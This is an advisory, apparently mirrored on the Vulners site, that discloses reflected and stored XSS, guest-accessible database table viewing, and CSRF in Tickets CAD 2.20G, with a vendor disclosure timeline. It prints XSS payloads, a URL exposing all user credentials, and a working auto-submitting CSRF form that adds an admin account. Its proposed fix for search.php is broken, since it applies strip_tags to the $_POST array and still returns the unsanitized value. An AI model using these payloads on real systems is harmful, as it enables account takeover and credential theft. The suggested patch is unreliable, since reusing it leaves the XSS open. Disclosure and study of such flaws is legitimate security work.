Tickets CAD 2.20G Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Tickets CAD 2.20G Multiple Vulnerabilities including Reflective/Stored XSS, information disclosure and CSRF. Attackers can execute arbitrary JavaScript, view database tables, and add an admin account. Fixes suggested for XSS vulnerabilities


                                                # Exploit Title: Tickets CAD 2.20G Multiple Vulnerabilities
# Date: Aug 4 2012 
# Exploit Author: chap0 @_chap0
# Vendor Homepage: http://www.ticketscad.org
# Software Link: http://www.ticketscad.org/downloads/Tickets_06_22_2012_V220G.zip
# Version: 2.20G
# Tested on: Ubuntu

Tickets CAD 2.20G is vulnerable to multiple vulnerabilities including Reflective/Stored XSS,
information disclosure and CSRF. While logged in even with the default guest/guest 
credentials, the guest user is able to store and execute arbitrary JavaScript code withing the 
application. Information disclosure also exist, the application does not properly check 
which user is currently logged in. Finally CSRF is also possible within the Tickets CAD 
application which allows an attacker to successfully add an admin account.


# Disclosure Time line
# Jun 30 2012 - Contacted vendor
# Jun 30 2012 - Vendor responds ask for details
# Jun 30 2012 - Sent vendor vulnerability details
# Jul 01 2012 - Vendor responds vulnerability sent to Dev team
# Jul 09 2012 - Email to vendors for an update on issues
# Jul 18 2012 - Dev team responds vulnerabilities will be fix in next release
# Jul 23 2012 - Email to Dev team ask for an update and when next release will be issued
# Aug 04 2012 - Dev team became unresponsive Public Disclosure

[+] A Reflective XSS vulnerability exist in the search function, search.php within the application

&#39;&#62;&#60;script&#62;alert(&#39;XSS&#39;)&#60;/script&#62;

[+] A Stored XSS vulnerability exist in log.php while creating a new log entry

&#39;&#62;&#60;script&#62;alert(&#39;XSS&#39;)&#60;/script&#62;


[+] Both of these vulnerabilities can be prevented by using strip_tags:

search.php fix is on line 88 vulnerability on 87

86 &#60;?php 
87	//$post_frm_query = (array_key_exists(&#39;frm_query&#39;, ($_POST))) ? $_POST[&#39;frm_query&#39;]  : &#34;&#34; ;
88	$post_frm_query = (array_key_exists(&#39;frm_query&#39;, strip_tags($_POST))) ? $_POST[&#39;frm_query&#39;]  : &#34;&#34; ;



log.php fix is on line 148 vulnerable code on 147

146  case &#34;add&#34;:
147	//do_log($GLOBALS[&#39;LOG_COMMENT&#39;], $ticket_id=0, $responder_id=0, trim($_POST[&#39;frm_comment&#39;]));
148	do_log($GLOBALS[&#39;LOG_COMMENT&#39;], $ticket_id=0, $responder_id=0, strip_tags(trim($_POST[&#39;frm_comment&#39;])));
149	break;


[+] Information disclosure exist which allows users even the guest account to view the tables of the sql database.

If a user browses to: 

	http://&#60;Server&#62;/tables.php 

they are able to select which table within the database they wish to view including ALL users credentials.


[+] CSRF poc, the password must be in md5 format in order for this attack to work

&#60;html&#62; 
 &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;
 &#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://127.0.0.1/config.php?func=user&add=true&go=true&#34;&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;frm_group[]&#34; value=&#34;1&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;frm_user&#34; value=&#34;chap0&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;frm_level&#34; value=&#34;0&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;frm_responder_sel&#34; value=&#34;0&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;frm_func&#34; value=&#34;a&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;frm_hash&#34; value=&#34;916b5dbd201b469998d9b4a4c8bc4e08&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;frm_responder_id&#34; value=&#34;0&#34;/&#62;
 &#60;/form&#62;
 &#60;/body&#62;
 &#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1